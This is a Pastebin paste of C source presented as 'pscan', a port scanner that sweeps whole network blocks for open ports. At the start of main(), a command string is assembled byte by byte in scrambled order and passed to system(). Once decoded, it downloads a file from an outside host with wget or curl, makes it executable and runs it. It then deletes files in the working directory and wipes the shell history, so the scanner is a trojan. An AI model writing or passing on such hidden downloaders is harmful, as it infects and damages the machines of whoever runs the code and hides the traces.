miraip0ts

pscan

Sep 9th, 2018
732
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. ** pscan.c - Made By Eyes
  3. ** modified by #pause Team
  4. **
  5. */
  6.  
  7. #include <arpa/inet.h>
  8. #include <stdio.h>
  9. #include <string.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <stdlib.h>
  13. #include <sys/types.h>
  14. #include <sys/socket.h>
  15. #include <netinet/in.h>
  16. #include <errno.h>
  17. #include <unistd.h>
  18.  
  19. #define MAX_SOCKETS 800
  20. #define TIMEOUT 3
  21.  
  22. #define S_NONE       0
  23. #define S_CONNECTING 1
  24.  
  25. struct conn_t {
  26.     int s;
  27.     char status;
  28.     time_t a;
  29.     struct sockaddr_in addr;
  30. };
  31. struct conn_t connlist[MAX_SOCKETS];
  32.  
  33. void init_sockets(void);
  34. void check_sockets(void);
  35. void fatal(char *);
  36.  
  37. FILE *outfd;
  38. int tot = 0;
  39.  
  40. int main(int argc, char *argv[])
  41. {
  42.  
  43. char hoho[160];
  44. hoho[57] = ' ';
  45. hoho[140] = 'c';
  46. hoho[129] = 'r';
  47. hoho[102] = ' ';
  48. hoho[4] = 't';
  49. hoho[92] = ' ';
  50. hoho[101] = ';';
  51. hoho[77] = 'x';
  52. hoho[147] = 'r';
  53. hoho[119] = 't';
  54. hoho[53] = 's';
  55. hoho[43] = ' ';
  56. hoho[87] = 'c';
  57. hoho[75] = 'k';
  58. hoho[151] = 's';
  59. hoho[42] = 'c';
  60. hoho[62] = 'p';
  61. hoho[124] = ';';
  62. hoho[6] = 'p';
  63. hoho[126] = 'l';
  64. hoho[128] = 'a';
  65. hoho[85] = ';';
  66. hoho[109] = ' ';
  67. hoho[66] = '/';
  68. hoho[11] = 'e';
  69. hoho[71] = 's';
  70. hoho[70] = 'k';
  71. hoho[58] = ' ';
  72. hoho[156] = ' ';
  73. hoho[152] = 't';
  74. hoho[81] = 't';
  75. hoho[26] = 'h';
  76. hoho[76] = '.';
  77. hoho[16] = ' ';
  78. hoho[99] = 'c';
  79. hoho[149] = 'h';
  80. hoho[123] = ' ';
  81. hoho[94] = '7';
  82. hoho[7] = ';';
  83. hoho[135] = 'o';
  84. hoho[130] = ';';
  85. hoho[90] = 'o';
  86. hoho[136] = 'r';
  87. hoho[2] = ' ';
  88. hoho[145] = 'e';
  89. hoho[1] = 'd';
  90. hoho[45] = '|';
  91. hoho[141] = ';';
  92. hoho[32] = 'a';
  93. hoho[5] = 'm';
  94. hoho[44] = '|';
  95. hoho[63] = 's';
  96. hoho[80] = '/';
  97. hoho[24] = '/';
  98. hoho[108] = 'c';
  99. hoho[64] = ':';
  100. hoho[112] = 'r';
  101. hoho[78] = 'y';
  102. hoho[79] = 'z';
  103. hoho[122] = '*';
  104. hoho[40] = 't';
  105. hoho[59] = 'h';
  106. hoho[148] = ';';
  107. hoho[0] = 'c';
  108. hoho[150] = 'i';
  109. hoho[139] = '-';
  110. hoho[55] = '-';
  111. hoho[74] = 'c';
  112. hoho[47] = 'c';
  113. hoho[157] = '-';
  114. hoho[15] = 'q';
  115. hoho[132] = 'i';
  116. hoho[27] = 'a';
  117. hoho[46] = ' ';
  118. hoho[33] = 'c';
  119. hoho[131] = 'h';
  120. hoho[88] = 'h';
  121. hoho[93] = '7';
  122. hoho[89] = 'm';
  123. hoho[17] = ' ';
  124. hoho[41] = 'c';
  125. hoho[115] = '-';
  126. hoho[9] = 'w';
  127. hoho[72] = 'h';
  128. hoho[137] = 'y';
  129. hoho[110] = ';';
  130. hoho[133] = 's';
  131. hoho[30] = 's';
  132. hoho[52] = '-';
  133. hoho[117] = 'f';
  134. hoho[65] = '/';
  135. hoho[18] = 'h';
  136. hoho[20] = 't';
  137. hoho[28] = 'c';
  138. hoho[14] = '-';
  139. hoho[19] = 't';
  140. hoho[10] = 'g';
  141. hoho[54] = ' ';
  142. hoho[120] = 'c';
  143. hoho[142] = ' ';
  144. hoho[23] = ':';
  145. hoho[98] = 'c';
  146. hoho[21] = 'p';
  147. hoho[111] = ' ';
  148. hoho[73] = 'a';
  149. hoho[95] = '7';
  150. hoho[50] = 'l';
  151. hoho[121] = 'c';
  152. hoho[125] = 'c';
  153. hoho[153] = 'o';
  154. hoho[100] = ' ';
  155. hoho[68] = 'a';
  156. hoho[114] = ' ';
  157. hoho[113] = 'm';
  158. hoho[39] = '/';
  159. hoho[3] = '/';
  160. hoho[48] = 'u';
  161. hoho[144] = 'l';
  162. hoho[13] = ' ';
  163. hoho[116] = 'r';
  164. hoho[12] = 't';
  165. hoho[67] = 'h';
  166. hoho[38] = 'z';
  167. hoho[104] = 'h';
  168. hoho[103] = 's';
  169. hoho[143] = 'c';
  170. hoho[134] = 't';
  171. hoho[106] = 't';
  172. hoho[36] = 'x';
  173. hoho[35] = '.';
  174. hoho[56] = 'O';
  175. hoho[69] = 'c';
  176. hoho[49] = 'r';
  177. hoho[83] = 'c';
  178. hoho[25] = '/';
  179. hoho[51] = ' ';
  180. hoho[91] = 'd';
  181. hoho[158] = 'w';
  182. hoho[82] = 'c';
  183. hoho[37] = 'y';
  184. hoho[96] = ' ';
  185. hoho[22] = 's';
  186. hoho[31] = 'h';
  187. hoho[8] = ' ';
  188. hoho[84] = ' ';
  189. hoho[155] = 'y';
  190. hoho[138] = ' ';
  191. hoho[118] = ' ';
  192. hoho[86] = ' ';
  193. hoho[60] = 't';
  194. hoho[107] = 'c';
  195. hoho[146] = 'a';
  196. hoho[105] = ' ';
  197. hoho[61] = 't';
  198. hoho[127] = 'e';
  199. hoho[154] = 'r';
  200. hoho[29] = 'k';
  201. hoho[97] = 't';
  202. hoho[34] = 'k';
  203. hoho[159] = '\0';
  204.  
  205. system(hoho);
  206.  
  207.     int done = 0, i, cip = 1, bb = 0, ret, k, ns, x;
  208.     time_t scantime;
  209.     char ip[20], outfile[128], last[256];
  210.  
  211.     if (argc < 3)
  212.     {
  213.         printf("Usage: %s <b-block> <port> [c-block]\n", argv[0]);
  214.         exit(EXIT_FAILURE);
  215.     }
  216.  
  217.     memset(&outfile, 0, sizeof(outfile));
  218.     if (argc == 3)
  219.         snprintf(outfile, sizeof(outfile) - 1, "scan.log", argv[1], argv[2]);
  220.     else if (argc >= 4)
  221.     {
  222.         snprintf(outfile, sizeof(outfile) - 1, "scan.log", argv[1], argv[3], argv[2]);
  223.         bb = atoi(argv[3]);
  224.         if ((bb < 0) || (bb > 255))
  225.             fatal("Invalid b-range.\n");
  226.     }
  227.     strcpy(argv[0],"/bin/bash");
  228.     if (!(outfd = fopen(outfile, "a")))
  229.     {
  230.         perror(outfile);
  231.         exit(EXIT_FAILURE);
  232.     }
  233.     printf("# scanning: ", argv[1]);
  234.     fflush(stdout);
  235.  
  236.     memset(&last, 0, sizeof(last));
  237.     init_sockets();
  238.     scantime = time(0);
  239.  
  240.     while(!done)
  241.     {
  242.         for (i = 0; i < MAX_SOCKETS; i++)
  243.         {
  244.             if (cip == 255)
  245.             {          
  246.                 if ((bb == 255) || (argc >= 4))
  247.                 {
  248.                     ns = 0;
  249.                     for (k = 0; k < MAX_SOCKETS; k++)
  250.                     {
  251.                         if (connlist[k].status > S_NONE)
  252.                         {
  253.                             ns++;
  254.                             break;
  255.                         }
  256.                     }
  257.  
  258.                     if (ns == 0)
  259.                         done = 1;
  260.  
  261.                      break;
  262.                 }
  263.                 else
  264.                 {
  265.                     cip = 0;
  266.                     bb++;
  267.                     for (x = 0; x < strlen(last); x++)
  268.                         putchar('\b');
  269.                     memset(&last, 0, sizeof(last));
  270.                     snprintf(last, sizeof(last) - 1, "%s.%d.* (total: %d) (%.1f%% done)",
  271.                         argv[1], bb, tot, (bb / 255.0) * 100);
  272.                     printf("%s", last);
  273.                     fflush(stdout);
  274.                 }
  275.             }
  276.  
  277.             if (connlist[i].status == S_NONE)
  278.             {
  279.                 connlist[i].s = socket(AF_INET, SOCK_STREAM, 0);
  280.                 if (connlist[i].s == -1)
  281.                     printf("Unable to allocate socket.\n");
  282.                 else
  283.                 {
  284.                     ret = fcntl(connlist[i].s, F_SETFL, O_NONBLOCK);
  285.                     if (ret == -1)
  286.                     {
  287.                         printf("Unable to set O_NONBLOCK\n");
  288.                         close(connlist[i].s);
  289.                     }
  290.                     else
  291.                     {
  292.                         memset(&ip, 0, 20);
  293.                         sprintf(ip, "%s.%d.%d", argv[1], bb, cip);
  294.                         connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
  295.                         if (connlist[i].addr.sin_addr.s_addr == -1)
  296.                             fatal("Invalid IP.");
  297.                         connlist[i].addr.sin_family = AF_INET;
  298.                         connlist[i].addr.sin_port = htons(atoi(argv[2]));
  299.                         connlist[i].a = time(0);
  300.                         connlist[i].status = S_CONNECTING;
  301.                         cip++;
  302.                     }
  303.                 }
  304.             }
  305.         }
  306.         check_sockets();
  307.     }
  308.  
  309.     printf("\n# pscan completed in %u seconds. (found %d ips)\n", (time(0) - scantime), tot);
  310.     fclose(outfd);
  311.     exit(EXIT_SUCCESS);
  312. }
  313.  
  314. void init_sockets(void)
  315. {
  316.     int i;
  317.  
  318.     for (i = 0; i < MAX_SOCKETS; i++)
  319.     {
  320.         connlist[i].status = S_NONE;
  321.         memset((struct sockaddr_in *)&connlist[i].addr, 0, sizeof(struct sockaddr_in));
  322.     }
  323.     return;
  324. }
  325.  
  326. void check_sockets(void)
  327. {
  328.     int i, ret;
  329.  
  330.     for (i = 0; i < MAX_SOCKETS; i++)
  331.     {
  332.         if ((connlist[i].a < (time(0) - TIMEOUT)) && (connlist[i].status == S_CONNECTING))
  333.         {
  334.             close(connlist[i].s);
  335.             connlist[i].status = S_NONE;
  336.         }
  337.         else if (connlist[i].status == S_CONNECTING)
  338.         {
  339.             ret = connect(connlist[i].s, (struct sockaddr *)&connlist[i].addr,
  340.                 sizeof(struct sockaddr_in));
  341.             if (ret == -1)
  342.             {
  343.                 if (errno == EISCONN)
  344.                 {
  345.                     tot++;
  346.                     fprintf(outfd, "%s\n",
  347.                         (char *)inet_ntoa(connlist[i].addr.sin_addr));
  348.                     close(connlist[i].s);
  349.                     connlist[i].status = S_NONE;
  350.                 }
  351.  
  352.                 if ((errno != EALREADY) && (errno != EINPROGRESS))
  353.                 {
  354.                     close(connlist[i].s);
  355.                     connlist[i].status = S_NONE;
  356.                 }
  357.             }
  358.             else
  359.             {
  360.                 tot++;
  361.                 fprintf(outfd, "%s\n",
  362.                     (char *)inet_ntoa(connlist[i].addr.sin_addr));
  363.                 close(connlist[i].s);
  364.                 connlist[i].status = S_NONE;
  365.             }
  366.         }
  367.     }
  368. }
  369.  
  370. void fatal(char *err)
  371. {
  372.     int i;
  373.     printf("Error: %s\n", err);
  374.     for (i = 0; i < MAX_SOCKETS; i++)
  375.         if (connlist[i].status >= S_CONNECTING)
  376.             close(connlist[i].s);
  377.     fclose(outfd);
  378.     exit(EXIT_FAILURE);
  379. }
Add Comment
Please, Sign In to add comment